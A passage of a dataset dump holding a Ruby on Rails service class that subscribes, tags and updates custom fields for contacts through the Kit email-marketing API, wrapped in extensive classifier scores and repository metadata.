"62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "641a58ff1d7e2decc99e36deca0bbb0dd5f6fea7375d79cb549a45176b468385", "source_metadata": {"uuid": "bfb80fe3-61c4-478e-abb2-8a0f5385ffe0", "repo_name": "abhishekpixo07/Grind-and-Pound", "relative_path": "app/controllers/api/v1/coupons_controller.rb", "category": "WEB", "algo_rel_score": 0.8739426136016846, "quality_score": 4.955789089202881, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 230, "repo_created_at": "2024-02-02T12:52:05.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "f6a9b7dc96d93fc1a310d4f216a20a17f208c466", "size_bytes": 4920, "file_timestamp": 1711692949, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c52cc95c692a9930216f19e3a56a40edbaaf45c7"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 230, "repo_created_at": "2024-02-02T12:52:05.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "f6a9b7dc96d93fc1a310d4f216a20a17f208c466", "size_bytes": 4920, "file_timestamp": 1711692949, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c52cc95c692a9930216f19e3a56a40edbaaf45c7", "url": "https://github.com/abhishekpixo07/Grind-and-Pound/blob/c52cc95c692a9930216f19e3a56a40edbaaf45c7/app/controllers/api/v1/coupons_controller.rb"}, "gpt4o_tokens": 1015, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.4616649484204626, "noise_severity": 0.013572071876038906, "missing_content_severity": 0.00878555580357974, "factual_density": 3.370052274773029, "pretraining_utility": 0.5505048486590347, "math_density": 0.760136750680716, "code_density": 3.865553011812268, "reasoning_density": 1.6037269261090052, "education_level": 2.1642739936317144, "creative_writing_quality": -0.3554560969608406}, "score_applicability": {"education_level": 0.9988698950113128, "creative_writing_quality": 0.00052636308457154}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/CasJam/exampleapp4/blob/e3d295fd1ca759b726a27acc6db9336c487b4d5c/app/services/kit_service.rb", "id": "ruby-0-2d485a34db8076b21988e4c9f816e9f0", "text": "require \"net/http\"\nrequire \"uri\"\nrequire \"json\"\n\nclass KitService\n BASE_URL = \"https://api.kit.com/v4\"\n\n def initialize\n @api_key = Rails.application.credentials.dig(:kit, :api_key)\n raise \"Kit API key not found in credentials\" unless @api_key\n end\n\n def subscribe(email, options = {})\n # tag_ids is an array of tag IDs to subscribe the subscriber to\n tag_ids = options[:tag_ids] || []\n\n # custom_fields is a hash of custom fields to add to the subscriber\n # each key is the field's 'key' (in Kit, the 'key' is the field's 'label' turned into a slug), and the value is a hash with :value and :append keys\n # :value is the value to set for the field\n # :append is a boolean indicating whether to append the value to the existing value\n # if :append is true, the value will be appended to the existing value (if it doesn't already exist)\n # if :append is false, the value will overwrite the existing value\n # if :append is not provided, the value will overwrite the existing value\n custom_fields = options[:custom_fields] || {}\n\n begin\n # First, try to get existing subscriber\n subscriber = get_subscriber(email)\n\n if subscriber\n update_subscriber(subscriber, tag_ids, custom_fields, email)\n else\n create_subscriber(email, tag_ids, custom_fields)\n end\n\n { success: true, message: \"Subscriber processed successfully\" }\n rescue => e\n Rails.logger.error \"Kit API Error: #{e.message}\"\n { success: false, message: e.message }\n end\n end\n\n private\n\n def get_subscriber(email)\n uri = URI(\"#{BASE_URL}/subscribers\")\n uri.query = URI.encode_www_form(email_address: email)\n\n response = make_request(uri, :get)\n\n if response.code == \"200\"\n data = JSON.parse(response.body)\n data[\"subscribers\"]&.first\n elsif response.code == \"404\"\n nil\n else\n raise \"Failed to get subscriber: #{response.body}\"\n end\n end\n\n def create_subscriber(email, tag_ids, custom_fields)\n uri = URI(\"#{BASE_URL}/subscribers\")\n\n # Create subscriber with email and custom fields using Kit's documented structure\n payload = {\n email_address: email\n }\n\n # Add custom field(s) using field labels as keys (Kit's v4 API format)\n if custom_fields.any?\n payload[:fields] = {}\n custom_fields.each do |field_label, field_config|\n # For new subscribers, just use the value directly (no appending needed)\n normalized_key = normalize_field_key(field_label)\n payload[:fields][normalized_key] = field_config[:value]\n end\n end\n\n Rails.logger.info \"Creating subscriber with payload: #{payload.to_json}\"\n response = make_request(uri, :post, payload)\n\n unless response.code == \"201\"\n Rails.logger.error \"Create subscriber response: #{response.code} - #{response.body}\"\n raise \"Failed to create subscriber: #{response.body}\"\n end\n\n Rails.logger.info \"Create subscriber response: #{response.code} - #{response.body}\"\n\n subscriber_data = JSON.parse(response.body)\n subscriber_id = subscriber_data[\"subscriber\"][\"id\"]\n\n # Now add tags separately (this is working)\n if tag_ids.any?\n tag_ids.each do |tag_id|\n subscribe_to_tag(subscriber_id, tag_id, email)\n end\n end\n\n subscriber_data\n end\n\n def update_subscriber(subscriber, tag_ids, custom_fields, email)\n subscriber_id = subscriber[\"id\"]\n\n # Subscribe to tags if provided\n if tag_ids.any?\n tag_ids.each do |tag_id|\n subscribe_to_tag(subscriber_id, tag_id, email)\n end\n end\n\n # For existing subscribers, handle field appending logic\n if custom_fields.any?\n update_custom_fields(subscriber_id, custom_fields, subscriber)\n end\n end\n\n def subscribe_to_tag(subscriber_id, tag_id, email = nil)\n uri = URI(\"#{BASE_URL}/tags/#{tag_id}/subscribers\")\n\n # Try with email_address if we have it, otherwise use id\n payload = if email\n { email_address: email }\n else\n { id: subscriber_id }\n end\n\n response = make_request(uri, :post, payload)\n\n unless [ \"200\", \"201\" ].include?(response.code)\n Rails.logger.warn \"Failed to subscribe to tag #{tag_id}: #{response.body}\"\n end\n end\n\n def update_custom_fields(subscriber_id, custom_fields, existing_subscriber = nil)\n uri = URI(\"#{BASE_URL}/subscribers/#{subscriber_id}\")\n\n # Build fields object using field labels as keys\n fields_to_update = {}\n\n custom_fields.each do |field_label, field_config|\n new_value = field_config[:value]\n append_mode = field_config[:append] || false\n normalized_key = normalize_field_key(field_label)\n\n if append_mode && existing_subscriber\n # Get current value from existing subscriber using normalized key\n current_value = existing_subscriber.dig(\"fields\", normalized_key) || \"\"\n\n # Parse current value as comma-separated array\n current_array = current_value.split(\",\").map(&:strip).reject(&:empty?)\n\n # Add new value if not already present\n unless current_array.include?(new_value)\n current_array << new_value\n end\n\n # Join back as comma-separated string\n fields_to_update[normalized_key] = current_array.join(\", \")\n else\n # Overwrite mode or new subscriber\n fields_to_update[normalized_key] = new_value\n end\n end\n\n # Use Kit's documented payload structure\n payload = {\n fields: fields_to_update\n }\n\n Rails.logger.info \"Updating custom fields for subscriber #{subscriber_id}: #{payload.to_json}\"\n response = make_request(uri, :put, payload)\n\n if response.code == \"200\"\n Rails.logger.info \"Successfully updated custom fields\"\n else\n Rails.logger.warn \"Failed to update custom fields: #{response.body}\"\n end\n end\n\n def make_request(uri, method, payload = nil)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n case method\n when :get\n request = Net::HTTP::Get.new(uri)\n when :post\n request = Net::HTTP::Post.new(uri)\n when :put\n request = Net::HTTP::Put.new(uri)\n when :patch\n request = Net::HTTP::Patch.new(uri)\n end\n\n request[\"X-Kit-Api-Key\"] = @api_key\n request[\"Content-Type\"] = \"application/json\"\n\n if payload\n request.body = payload.to_json\n end\n\n http.request(request)\n end\n\n def normalize_field_key(field_name)\n # Convert to lowercase, replace spaces with underscores, remove special characters\n # Keep only letters, numbers, and underscores\n field_name.to_s.downcase.gsub(/\\s+/, \"_\").gsub(/[^a-z0-9_]/, \"\")\n end\nend\n", "text_preview": "require \"net/http\" require \"uri\" require \"json\" class KitService BASE_URL = \"https://api.kit.com/v4\" def initialize @api_key = Rails.application.credentials.dig(:kit, :api_key) raise \"Kit API key not found in credentials\" unless @api_key en", "input_sha256": "25a21e4105e2f59206a8aadb9923a705800879b26e867745aada013ecd1d8f0a", "text_sha256": "2d485a34db8076b21988e4c9f816e9f0b0fc536ac2613ba0470fee2f07a80c1a", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16096, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9308148548941865, "noise_severity": 0.01288592402390375, "missing_content_severity": 0.0030105933342656818, "factual_density": 3.2545742289353305, "pretraining_utility": 0.6232291796448542, "math_density": 0.007271653875617891, "code_density": 3.715985735013204, "reasoning_density": 0.7544336674688144, "education_level": 2.3110073811169944, "creative_writing_quality": -0.03780452223599226}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.006748706945030936, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9970774813052783, "secondary": 0.9844222743211002, "tertiary": 0.9914644033072194, "structured_records": 0.0070922230597800905, "procedural_steps": 0.07411453618016879, "worked_solution": 0.003910898460451051, "contextual_dialogue": 5.5560615363265755e-06, "content_quality": 0.5696041452284447, "noise_severity": 0.9892617299800802, "missing_content_severity": 0.9974911722214452, "factual_density": 0.3788118574461088, "pretraining_utility": 0.5314346003337114, "math_density": 0.9939402884369851, "code_density": 0.7633214458443366, "reasoning_density": 0.3713052771093215, "education_level": 0.6171461407658508, "creative_writing_quality": 0.9981562010757805, "primary_topic": 0.995023442426677, "secondary_topic": 0.9525378179219297}, "probability_margin": {"primary": 0.9957381885977603, "secondary": 0.9776768935139974, "tertiary": 0.9886528586882214, "education_level": 0.39039073485667897, "creative_writing_quality": 0.9974618964610463, "primary_topic": 0.9921437984345616, "secondary_topic": 0.9264364682046617}, "raw_probabilities": {"primary": {"Academic Writing": 2.6356277157540357e-05, "Content Listing": 1.1641506483913717e-05, "Creative Writing": 1.4496291566077864e-05, "Customer Support Page": 1.2943842542439987e-05, "Q&A Forum": 1.7181149616644937e-05, "Discussion Thread": 7.436455128590036e-06, "Comment Section": 1.6716553601177968e-05, "Missing Content": 1.8598116366526072e-05, "Knowledge Article": 0.00010180848932604015, "Legal Notices": 2.3884952440465303e-05, "News Article": 4.667315071417848e-06, "Organizational Announcement": 9.862550575812895e-06, "Nonfiction Writing": 9.764400354932246e-06, "Organizational About Page": 1.147471429032069e-05, "Personal About Page": 1.1198538661122389e-05, "Personal Blog": 8.071464375825414e-06, "Product Page": 7.510044853370746e-06, "Spam / Ads": 1.0603089110356397e-05, "Structured Data": 0.0003040881021050188, "Technical Writing": 0.9971992529175584, "Transcript / Interview": 1.2163024561182502e-05, "Tutorial / How-To Guide": 0.001461064319798111, "User Reviews": 7.3551187681755785e-06, "Other / Unknown": 0.0006918607656864762}, "secondary": {"Academic Writing": 0.0001095142207148063, "Content Listing": 5.933554360449433e-05, "Creative Writing": 8.469449675632421e-05, "Customer Support Page": 7.143979354506412e-05, "Q&A Forum": 4.057919939417637e-05, "Discussion Thread": 2.731434710888415e-05, "Comment Section": 0.0001546645787024478, "Missing Content": 0.00019310444903258367, "Knowledge Article": 0.0007354860181088492, "Legal Notices": 0.00011363213840632306, "News Article": 5.179616550297997e-05, "Organizational Announcement": 4.4476286478936404e-05, "Nonfiction Writing": 4.2198890205031426e-05, "Organizational About Page": 5.344432768522052e-05, "Personal About Page": 4.42793625757623e-05, "Personal Blog": 4.258816404675126e-05, "Product Page": 3.5068737220972796e-05, "Spam / Ads": 5.729148000525653e-05, "Structured Data": 0.0014394323007523551, "Technical Writing": 0.007394452710390165, "Transcript / Interview": 5.3525990552875774e-05, "Tutorial / How-To Guide": 0.00405280350445759, "User Reviews": 2.753107036450051e-05, "NONE": 0.9850713462243876}, "tertiary": {"Academic Writing": 4.689761821611128e-05, "Content Listing": 3.3024598179147296e-05, "Creative Writing": 5.435854771795101e-05, "Customer Support Page": 4.75896739649842e-05, "Q&A Forum": 2.2898104711120485e-05, "Discussion Thread": 1.6906158191989073e-05, "Comment Section": 0.00012029565412365784, "Missing Content": 0.0001475894007159511, "Knowledge Article": 0.000519857906092585, "Legal Notices": 0.00011181212216190062, "News Article": 3.178897522966094e-05, "Organizational Announcement": 2.725219418581717e-05, "Nonfiction Writing": 3.8092039776850874e-05, "Organizational About Page": 4.679885761929667e-05, "Personal About Page": 2.576326774403618e-05, "Personal Blog": 2.6659019250207863e-05, "Product Page": 2.5960057686901783e-05, "Spam / Ads": 3.8185406450642966e-05, "Structured Data": 0.0007374556123179672, "Technical Writing": 0.003167194481197219, "Transcript / Interview": 2.983401469131248e-05, "Tutorial / How-To Guide": 0.0028459239711843267, "User Reviews": 1.7809149171863133e-05, "NONE": 0.9918200531694186}, "structured_records": {"false": 0.9929077769402199, "true": 0.0070922230597800905}, "procedural_steps": {"false": 0.9258854638198312, "true": 0.07411453618016879}, "worked_solution": {"false": 0.996089101539549, "true": 0.003910898460451051}, "contextual_dialogue": {"false": 0.9999944439384637, "true": 5.5560615363265755e-06}, "content_quality": {"-2": 0.0065176033750913515, "-1": 0.021208542236527336, "0": 0.23086019081751127, "1": 0.5177687232608436, "2": 0.22364494031002638}, "noise_severity": {"0": 0.9891031974716504, "1": 0.009555754688826704, "2": 0.0008832105129722922, "3": 0.0002676009970706498, "4": 0.00019023632948012896}, "missing_content_severity": {"0": 0.9982221409612039, "1": 0.0008744363615667239, "2": 0.000631945319808829, "3": 0.0002136430966000113, "4": 5.7834260820316336e-05}, "factual_density": {"0": 0.004038810041662753, "1": 0.015006987229911478, "2": 0.1399270042528558, "3": 0.40439556070257243, "4": 0.4366316377729975}, "pretraining_utility": {"-2": 0.006171410972690313, "-1": 0.04905280682012016, "0": 0.3529048034190348, "1": 0.49911714916595434, "2": 0.09275382962220032}, "math_density": {"0": 0.9945655722776636, "1": 0.004569888300339462, "2": 0.00028714294338339614, "3": 0.0001821062259420711, "4": 0.0003952902526713555}, "code_density": {"0": 0.00034973593084119064, "1": 0.0006945820797525624, "2": 0.027894525387481005, "3": 0.22474252424921157, "4": 0.7463186323527137}, "reasoning_density": {"0": 0.622777353057468, "1": 0.12268055919063195, "2": 0.1635819543072748, "3": 0.05925133411486842, "4": 0.03170879932975688}, "education_level": {"none": 0.0007718428543735456, "0": 0.0011731350073256091, "1": 0.01017394163726014, "2": 0.6809551173048757, "3": 0.2905643824481967, "4": 0.016361580747968375}, "creative_writing_quality": {"not_applicable": 0.9984635008964837, "-2": 7.422235715547403e-05, "-1": 0.00021567024850275323, "0": 0.0010016044354374488, "1": 0.000183975776552202, "2": 6.1026285868515805e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.592823840445321e-05, "Art & Design": 3.9109533205299406e-05, "Law & Crime": 3.76785669085178e-05, "Education & Careers": 3.98226180545528e-05, "Entertainment & Media": 3.956394051091713e-05, "Fashion & Beauty": 2.7384227089383184e-05, "Business, Economics & Finance": 0.0004061194235156658, "Food & Dining": 2.982143962114634e-05, "Games & Gaming": 0.00012472269999725403, "Electronics & Hardware": 6.540473112640406e-05, "Health, Healthcare & Wellness": 4.385238493152305e-05, "History & Geography": 2.396531943491233e-05, "Home, Pets & Hobbies": 3.1682030681058665e-05, "Industry & Production": 2.960407289072308e-05, "Language, Literature & Philosophy": 4.1030123132145104e-05, "Politics & Government": 2.9885298684749906e-05, "Religion & Spirituality": 3.6094234960065405e-05, "Science, Mathematics & Engineering": 8.503723005859462e-05, "Relationships & Community": 4.529438094131145e-05, "Software Usage & Applications": 0.0030710500526277195, "Programming & Software Engineering": 0.9952148484871893, "Sports & Fitness": 4.717777895506307e-05, "Vehicles & Transportation": 1.8088548954574753e-05, "Travel & Tourism": 4.515352199919066e-05, "Other / Uncovered Subject": 0.00034221097649313523, "Unknown / Insufficient Content": 4.947013963239262e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00023892141172740866, "Art & Design": 0.00018855725802916615, "Law & Crime": 0.00030332100717016795, "Education & Careers": 0.00017047112315427533, "Entertainment & Media": 0.00023016334839137404, "Fashion & Beauty": 0.00012974418741703883, "Business, Economics & Finance": 0.0035692672418868835, "Food & Dining": 0.00012464359517468075, "Games & Gaming": 0.0002678147984834648, "Electronics & Hardware": 0.00021144092217331882, "Health, Healthcare & Wellness": 0.0001490989174543519, "History & Geography": 9.43528796772211e-05, "Home, Pets & Hobbies": 9.695146993255663e-05, "Industry & Production": 8.728603610721145e-05, "Language, Literature & Philosophy": 9.737330972756547e-05, "Politics & Government": 0.0001269891697657708, "Religion & Spirituality": 0.0001334822461982859, "Science, Mathematics & Engineering": 0.0002156941026346282, "Relationships & Community": 0.00012741551197509155, "Software Usage & Applications": 0.02792681825873227, "Programming & Software Engineering": 0.010343660308836471, "Sports & Fitness": 9.991458363336571e-05, "Vehicles & Transportation": 4.77521757891885e-05, "Travel & Tourism": 0.0001420821681529686, "Other / Uncovered Subject": 0.0005134975043813846, "NONE": 0.954363286463394}}, "probabilities": {"primary": {"Academic Writing": 2.635627715754036e-05, "Content Listing": 1.164150648391372e-05, "Creative Writing": 1.4496291566077866e-05, "Customer Support Page": 1.2943842542439989e-05, "Q&A Forum": 1.718114961664494e-05, "Discussion Thread": 7.436455128590037e-06, "Comment Section": 1.671655360117797e-05, "Missing Content": 1.8598116366526075e-05, "Knowledge Article": 0.00010180848932604016, "Legal Notices": 2.3884952440465306e-05, "News Article": 4.6673150714178485e-06, "Organizational Announcement": 9.862550575812897e-06, "Nonfiction Writing": 9.764400354932247e-06, "Organizational About Page": 1.1474714290320692e-05, "Personal About Page": 1.119853866112239e-05, "Personal Blog": 8.071464375825416e-06, "Product Page": 7.510044853370747e-06, "Spam / Ads": 1.0603089110356399e-05, "Structured Data": 0.0003040881021050189, "Technical Writing": 0.9971992529175585, "Transcript / Interview": 1.2163024561182503e-05, "Tutorial / How-To Guide": 0.0014610643197981112, "User Reviews": 7.355118768175579e-06, "Other / Unknown": 0.0006918607656864763}, "secondary": {"Academic Writing": 0.0001095142207148063, "Content Listing": 5.933554360449433e-05, "Creative Writing": 8.469449675632421e-05, "Customer Support Page": 7.143979354506412e-05, "Q&A Forum": 4.057919939417637e-05, "Discussion Thread": 2.731434710888415e-05, "Comment Section": 0.0001546645787024478, "Missing Content": 0.00019310444903258367, "Knowledge Article": 0.0007354860181088492, "Legal Notices": 0.00011363213840632306, "News Article": 5.179616550297997e-05, "Organizational Announcement": 4.4476286478936404e-05, "Nonfiction Writing": 4.2198890205031426e-05, "Organizational About Page": 5.344432768522052e-05, "Personal About Page": 4.42793625757623e-05, "Personal Blog": 4.258816404675126e-05, "Product Page": 3.5068737220972796e-05, "Spam / Ads": 5.729148000525653e-05, "Structured Data": 0.0014394323007523551, "Technical Writing": 0.007394452710390165, "Transcript / Interview": 5.3525990552875774e-05, "Tutorial / How-To Guide": 0.00405280350445759, "User Reviews": 2.753107036450051e-05, "NONE": 0.9850713462243876}, "tertiary": {"Academic Writing": 4.689761821611128e-05, "Content Listing": 3.3024598179147296e-05, "Creative Writing": 5.435854771795101e-05, "Customer Support Page": 4.75896739649842e-05, "Q&A Forum": 2.2898104711120485e-05, "Discussion Thread": 1.6906158191989073e-05, "Comment Section": 0.00012029565412365784, "Missing Content": 0.0001475894007159511, "Knowledge Article": 0.000519857906092585, "Legal Notices": 0.00011181212216190062, "News Article": 3.178897522966094e-05, "Organizational Announcement": 2.725219418581717e-05, "Nonfiction Writing": 3.8092039776850874e-05, "Organizational About Page": 4.679885761929667e-05, "Personal About Page": 2.576326774403618e-05, "Personal Blog": 2.6659019250207863e-05, "Product Page": 2.5960057686901783e-05, "Spam / Ads": 3.8185406450642966e-05, "Structured Data": 0.0007374556123179672, "Technical Writing": 0.003167194481197219, "Transcript / Interview": 2.983401469131248e-05, "Tutorial / How-To Guide": 0.0028459239711843267, "User Reviews": 1.7809149171863133e-05, "NONE": 0.9918200531694186}, "structured_records": {"false": 0.9929077769402199, "true": 0.0070922230597800905}, "procedural_steps": {"false": 0.9258854638198312, "true": 0.07411453618016879}, "worked_solution": {"false": 0.996089101539549, "true": 0.003910898460451051}, "contextual_dialogue": {"false": 0.9999944439384637, "true": 5.5560615363265755e-06}, "content_quality": {"-2": 0.006517603375091352, "-1": 0.02120854223652734, "0": 0.2308601908175113, "1": 0.5177687232608437, "2": 0.2236449403100264}, "noise_severity": {"0": 0.9891031974716502, "1": 0.009555754688826702, "2": 0.000883210512972292, "3": 0.00026760099707064973, "4": 0.0001902363294801289}, "missing_content_severity": {"0": 0.9982221409612041, "1": 0.0008744363615667241, "2": 0.0006319453198088291, "3": 0.00021364309660001134, "4": 5.783426082031635e-05}, "factual_density": {"0": 0.004038810041662753, "1": 0.015006987229911478, "2": 0.1399270042528558, "3": 0.40439556070257243, "4": 0.4366316377729975}, "pretraining_utility": {"-2": 0.006171410972690314, "-1": 0.049052806820120164, "0": 0.35290480341903485, "1": 0.4991171491659544, "2": 0.09275382962220033}, "math_density": {"0": 0.9945655722776637, "1": 0.004569888300339463, "2": 0.0002871429433833962, "3": 0.00018210622594207112, "4": 0.00039529025267135554}, "code_density": {"0": 0.00034973593084119064, "1": 0.0006945820797525624, "2": 0.027894525387481005, "3": 0.22474252424921157, "4": 0.7463186323527137}, "reasoning_density": {"0": 0.622777353057468, "1": 0.12268055919063195, "2": 0.1635819543072748, "3": 0.05925133411486842, "4": 0.03170879932975688}, "education_level": {"none": 0.0007718428543735456, "0": 0.0011731350073256091, "1": 0.01017394163726014, "2": 0.6809551173048757, "3": 0.2905643824481967, "4": 0.016361580747968375}, "creative_writing_quality": {"not_applicable": 0.9984635008964835, "-2": 7.422235715547401e-05, "-1": 0.00021567024850275318, "0": 0.0010016044354374486, "1": 0.00018397577655220195, "2": 6.102628586851579e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.592823840445321e-05, "Art & Design": 3.9109533205299406e-05, "Law & Crime": 3.76785669085178e-05, "Education & Careers": 3.98226180545528e-05, "Entertainment & Media": 3.956394051091713e-05, "Fashion & Beauty": 2.7384227089383184e-05, "Business, Economics & Finance": 0.0004061194235156658, "Food & Dining": 2.982143962114634e-05, "Games & Gaming": 0.00012472269999725403, "Electronics & Hardware": 6.540473112640406e-05, "Health, Healthcare & Wellness": 4.385238493152305e-05, "History & Geography": 2.396531943491233e-05, "Home, Pets & Hobbies": 3.1682030681058665e-05, "Industry & Production": 2.960407289072308e-05, "Language, Literature & Philosophy": 4.1030123132145104e-05, "Politics & Government": 2.9885298684749906e-05, "Religion & Spirituality": 3.6094234960065405e-05, "Science, Mathematics & Engineering": 8.503723005859462e-05, "Relationships & Community": 4.529438094131145e-05, "Software Usage & Applications": 0.0030710500526277195, "Programming & Software Engineering": 0.9952148484871893, "Sports & Fitness": 4.717777895506307e-05, "Vehicles & Transportation": 1.8088548954574753e-05, "Travel & Tourism": 4.515352199919066e-05, "Other / Uncovered Subject": 0.00034221097649313523, "Unknown / Insufficient Content": 4.947013963239262e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00023892141172740866, "Art & Design": 0.00018855725802916615, "Law & Crime": 0.00030332100717016795, "Education & Careers": 0.00017047112315427533, "Entertainment & Media": 0.00023016334839137404, "Fashion & Beauty": 0.00012974418741703883, "Business, Economics & Finance": 0.0035692672418868835, "Food & Dining": 0.00012464359517468075, "Games & Gaming": 0.0002678147984834648, "Electronics & Hardware": 0.00021144092217331882, "Health, Healthcare & Wellness": 0.0001490989174543519, "History & Geography": 9.43528796772211e-05, "Home, Pets & Hobbies": 9.695146993255663e-05, "Industry & Production": 8.728603610721145e-05, "Language, Literature & Philosophy": 9.737330972756547e-05, "Politics & Government": 0.0001269891697657708, "Religion & Spirituality": 0.0001334822461982859, "Science, Mathematics & Engineering": 0.0002156941026346282, "Relationships & Community": 0.00012741551197509155, "Software Usage & Applications": 0.02792681825873227, "Programming & Software Engineering": 0.010343660308836471, "Sports & Fitness": 9.991458363336571e-05, "Vehicles & Transportation": 4.77521757891885e-05, "Travel & Tourism": 0.0001420821681529686, "Other / Uncovered Subject": 0.0005134975043813846, "NONE": 0.954363286463394}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10154, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10154, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:14.581805+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "08049cb1-6846-4488-9324-b21f176c071c", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "b4264e48d623d33bd48ef0167abea23d87ca9f074d0e778517d2a77e94045042", "source_metadata": {"uuid": "08049cb1-6846-4488-9324-b21f176c071c", "repo_name": "CasJam/exampleapp4", "relative_path": "app/services/kit_service.rb", "category": "TOOL", "algo_rel_score": 0.9746702909469604, "quality_score": 5.836673736572266, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 2, "repo_created_at": "2025-06-16T22:50:30.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "bbf68af6d5b0560756c9b5239855b4b115c6a219", "size_bytes": 6595, "file_timestamp": 1750114481, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "e3d295fd1ca759b726a27acc6db9336c487b4d5c"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 2, "repo_created_at": "2025-06-16T22:50:30.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "bbf68af6d5b0560756c9b5239855b4b115c6a219", "size_bytes": 6595, "file_timestamp": 1750114481, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": 